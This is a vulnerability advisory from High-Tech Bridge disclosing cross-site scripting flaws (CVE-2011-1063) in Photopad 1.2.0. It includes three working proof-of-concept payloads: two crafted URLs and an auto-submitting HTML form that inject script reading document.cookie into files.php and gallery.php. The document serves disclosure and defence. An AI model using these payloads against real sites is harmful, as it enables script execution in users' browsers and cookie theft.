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Cross-site Scripting (XSS) Vulnerabilities in Photopad

Advisory ID:HTB22828
Product:Photopad
Vendor:Cherry-Design
Vulnerable Versions:1.2.0 and probably prior
Tested Version:1.2.0
Advisory Publication:February 1, 2011 [without technical details]
Vendor Notification:February 1, 2011
Public Disclosure:February 15, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
CVE Reference:CVE-2011-1063
Risk Level:Medium
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Photopad which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerabilities in Photopad: CVE-2011-1063
1.1 The vulnerability exists due to input sanitation errors in the "id" and "data[title]" parameter in files.php and gallery.php scripts. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation examples:
1.
http://host/files.php?action=edit&id=999"><script>alert(document.cookie)</sc ript>
2.
http://host/gallery.php?action=view&id=999"><script>alert(document.cookie)</ script>
3.
<form action="http://host/files.php?action=edit&id=2" method="post" name="main">
<input type="hidden" name="data[title]" value='title"><script>alert(document.cookie)</script>'>
<input type="hidden" name="data[tags]" value='tag'>
</form>
<script>
document.main.submit();
</script>

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Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22828 - https://www.immuniweb.com/advisory/HTB22828 - Cross-site Scripting (XSS) Vulnerabilities in Photopad
[2] Photopad - www.cherry-software.spb.ru - PhotoPad is an easy to use, premium photo editing app.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
Related Security Advisories: HTB22826: Multiple Vulnerabilities in Wikipad
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